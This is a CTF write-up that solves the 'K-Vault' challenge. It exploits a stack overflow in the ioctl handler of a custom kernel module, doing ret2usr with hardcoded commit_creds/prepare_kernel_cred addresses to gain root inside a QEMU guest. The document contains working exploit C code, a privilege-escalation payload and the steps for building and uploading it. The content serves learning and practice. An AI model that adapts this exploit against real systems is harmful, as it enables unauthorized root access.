Writeup
K-Vault Cyberspace.ma — Writeup
K-Vault Challenge — Writeup
This writeup explains how to solve the K-Vault kernel pwn challenge. The challenge gives us a QEMU boot setup with a custom kernel module, vault.ko. The goal is to exploit /dev/vault, become root inside the guest, and read /root/flag.txt.
Full Exploit exploit.c
Summary
We get a simple kernel stack overflow in an ioctl handler:
- Unpack the initramfs and inspect the boot scripts.
- Reverse
vault.koand find the vulnerableioctl. - Recover fixed kernel symbols because KASLR is disabled.
- ret2usr into userland code because SMEP and SMAP are disabled by boot args.
- Call
commit_creds(prepare_kernel_cred(0))and return to a root shell.
The final exploit is a small static ELF uploaded to the remote shell, then executed to spawn /bin/sh as root.
Challenge Setup
The provided files are:
bzImageinitramfs_player.cpio.gzrun.shThe runner boots the kernel like this:
qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -initrd ./initramfs.cpio.gz \ -cpu kvm64,+smep,+smap \ -append "console=ttyS0 nopti nokaslr nosmep nosmap quiet" \ -monitor /dev/null \ -nographic \ -no-rebootThe important part is the kernel command line:
nokaslr nosmep nosmapSo kernel addresses are fixed, and the CPU protections that normally block ret2usr are disabled.
Initramfs Analysis
Unpack the initramfs:
mkdir rootfscd rootfszcat ../initramfs_player.cpio.gz | cpio -idm --no-absolute-filenamesThe /init script loads the vulnerable module and exposes the device:
/bin/busybox insmod /vault.ko/bin/busybox mknod /dev/vault c $(/bin/busybox cat /proc/devices | /bin/busybox grep vault | /bin/busybox awk '{print $1}') 0/bin/busybox chmod 666 /dev/vaultThe flag is protected as root-only:
/bin/busybox chown 0:0 /root/flag.txt/bin/busybox chmod 400 /root/flag.txt/bin/busybox chmod 700 /rootThe shell is then dropped to the ctf user, so we need kernel privilege escalation.
Module Analysis
The module is not stripped and contains debug info:
vault.ko: ELF 64-bit LSB relocatable, x86-64, with debug_info, not strippedUseful symbols:
0000000000000000 t vault_ioctl0000000000000050 T gadget_bridgeThe vulnerable function is tiny:
0000000000000000 <vault_ioctl>: 5: cmp $0x1337,%esi b: jne fail d: push %rbp e: mov %rdx,%rsi 11: mov $0x100,%edx 16: mov %rsp,%rbp 19: sub $0x40,%rsp 1d: lea -0x40(%rbp),%rdi 21: call _copy_from_user 26: leave 31: retIn C-like form:
long vault_ioctl(struct file *file, unsigned int cmd, unsigned long arg){ char buf[0x40];
if (cmd == 0x1337) copy_from_user(buf, (void __user *)arg, 0x100); else return -EINVAL;}buf is only 0x40 bytes, but copy_from_user copies 0x100 bytes. This overwrites saved rbp and the return address.
Stack Layout
The function allocates 0x40 bytes:
sub rsp, 0x40lea rdi, [rbp - 0x40]copy_from_user(rdi, user_arg, 0x100)So the overflow layout is:
0x00 - 0x3f: stack buffer0x40 - 0x47: saved rbp0x48 - 0x4f: saved ripPayload:
'A' * 0x40fake saved rbpaddress of userland ring0 functionBecause nosmep is set, the kernel can return directly to a userspace address.
Kernel Symbol Addresses
The ctf user sees zeroed kallsyms:
0000000000000000 T commit_creds0000000000000000 T prepare_kernel_credBut this is only a permission issue. Since KASLR is disabled, we can boot locally as root with rdinit=/bin/sh, mount proc/sysfs, load the module, and read the real addresses:
/bin/busybox mount -t proc proc /proc/bin/busybox mount -t sysfs sysfs /sys/bin/busybox insmod /vault.ko/bin/busybox grep ' commit_creds\| prepare_kernel_cred\| swapgs_restore_regs_and_return_to_usermode' /proc/kallsymsThe important addresses:
ffffffff810f84e0 T commit_credsffffffff810f87b0 T prepare_kernel_credWe do not need a full kernel ROP chain because SMEP/SMAP are disabled. A ret2usr payload is enough.
Exploit Strategy
The exploit does:
- Save userland
cs,ss,rsp, andrflags. - Open
/dev/vault. - Build an overflow payload.
- Overwrite saved RIP with a userspace function pointer.
- In ring0, run:
commit_creds(prepare_kernel_cred(0));- Return safely to userspace with
swapgs; iretq. - Execute
/bin/sh.
The kernel-mode callback:
__attribute__((noreturn)) static void get_root(void){ typedef unsigned long (*prepare_kernel_cred_t)(unsigned long); typedef int (*commit_creds_t)(unsigned long);
((commit_creds_t)0xffffffff810f84e0)( ((prepare_kernel_cred_t)0xffffffff810f87b0)(0) );
__asm__ volatile( "swapgs\n" "pushq %[ss]\n" "pushq %[sp]\n" "pushq %[rflags]\n" "pushq %[cs]\n" "pushq %[rip]\n" "iretq\n" : : [ss] "r"(user_ss), [sp] "r"(user_sp), [rflags] "r"(user_rflags), [cs] "r"(user_cs), [rip] "r"(win) : "memory");
__builtin_unreachable();}The overflow part:
char payload[0x100];
for (int i = 0; i < sizeof(payload); i++) payload[i] = 'A';
*(unsigned long *)(payload + 0x40) = 0; // saved rbp*(unsigned long *)(payload + 0x48) = (unsigned long)get_root;
ioctl(fd, 0x1337, payload);Building the Exploit
The guest has a very small userland, so the exploit is built as a static no-libc ELF:
gcc -static -nostdlib \ -fno-stack-protector -no-pie -fno-pie \ -ffreestanding -fno-builtin \ -fno-asynchronous-unwind-tables -fno-unwind-tables \ -fno-ident -Os \ -Wl,-N -Wl,--build-id=none \ -s exploit.c -o exploit-Wl,-N keeps the ELF small by avoiding page-aligned load segments. This matters on remote because we upload the binary through a slow serial shell.
The final binary is around 1.3K.
Remote Upload Detail
BusyBox in the initramfs has uudecode, but its xxd applet does not support reverse mode:
xxd: invalid option -- 'r'So the solver uuencodes the exploit locally, pastes it into the remote shell, decodes it, then runs it:
cat > /tmp/e.uue <<'EOF'begin 755 /tmp/e...`endEOF/bin/busybox uudecode /tmp/e.uue/bin/busybox chmod +x /tmp/e/tmp/eThe remote service sometimes drops connections while the VM is still booting. The solver should wait for the shell prompt, upload line-by-line, drain output, and retry dropped connections instead of crashing on BrokenPipeError.
Local Validation
After placing exploit into /home/ctf in a test initramfs, the exploit succeeds:
uid=1000(ctf) gid=1000 groups=1000[*] triggering overflow[+] root shell
/home/ctf # iduid=0(root) gid=0/home/ctf # cat /root/flag.txtCSP{f4k3_fl4g_f0r_l0c4l_t3st1ng}The local flag is fake, but it proves the privilege escalation works. On the remote service, the same root shell can read the real /root/flag.txt.
Notes
- The module bug is a direct kernel stack overflow in
vault_ioctl. nokaslrmakescommit_credsandprepare_kernel_credstable.nosmep nosmapmakes ret2usr viable.- The exploit does not need a kernel ROP chain.
- The remote service may close during boot or upload, so retry logic matters.
- BusyBox
xxdcannot decode hex here; useuudecode.